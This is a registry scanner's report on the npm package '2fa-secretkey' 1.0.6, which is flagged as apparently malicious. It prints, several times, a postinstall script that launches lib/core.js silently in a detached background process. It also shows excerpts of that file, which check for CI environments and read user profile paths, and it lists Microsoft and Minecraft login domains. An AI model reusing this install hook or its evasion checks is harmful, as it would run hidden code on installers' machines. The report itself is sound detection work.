registry / 2fa-secretkey / 1.0.6

2fa-secretkey@1.0.6

⚠ Under review

Static Scan Results

scanned 4h ago · by rust-scanner

Static analysis flagged 11 finding(s) at 86.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsPossibleObfuscationUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 53.3 KB of source, external domains: api.minecraftservices.com, auth.xboxlive.com, github.com, login.live.com

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node -e "var cp=require('child_process'),pa=require('path');cp.spawn(process.execPath,[pa.join(__dirname,'lib','core.js')],{detached:true,stdio:'ignore'}).unref()"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "var cp=require('child_process'),pa=require('path');cp.spawn(process.execPath,[pa.join(__dirname,'lib','core.js')],{detached:true,stdio:'ignore'}).unref()"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

6L7: const { createHmac } = require("crypto"); L8: const _c = require("./lib/core");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L6

lib/core.jsView file

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L22: function _env() { L23: if (process.env.CI || process.env.CONTINUOUS_INTEGRATION) return true; L24: if (process.env.npm[redacted] === "true") return true; ... L35: const _LA = process.env.LOCALAPPDATA || ""; L36: const _HM = process.env.USERPROFILE || os.homedir(); L37: ... L48: req.on("error", () => resolve(null));

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/core.jsView on unpkg · L3

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "var cp=require('child_process'),pa=require('path');cp.spawn(process.execPath,[pa.join(__dirname,'lib','core.js')],{detached:true,stdio:'ignore'}).unref()"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "var cp=require('child_process'),pa=require('path');cp.spawn(process.execPath,[pa.join(__dirname,'lib','core.js')],{detached:true,stdio:'ignore'}).unref()"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

6L7: const { createHmac } = require("crypto"); L8: const _c = require("./lib/core");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L6

Findings

1 Critical1 High4 Medium5 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

MediumDynamic Requireindex.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowWeak Cryptolib/core.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings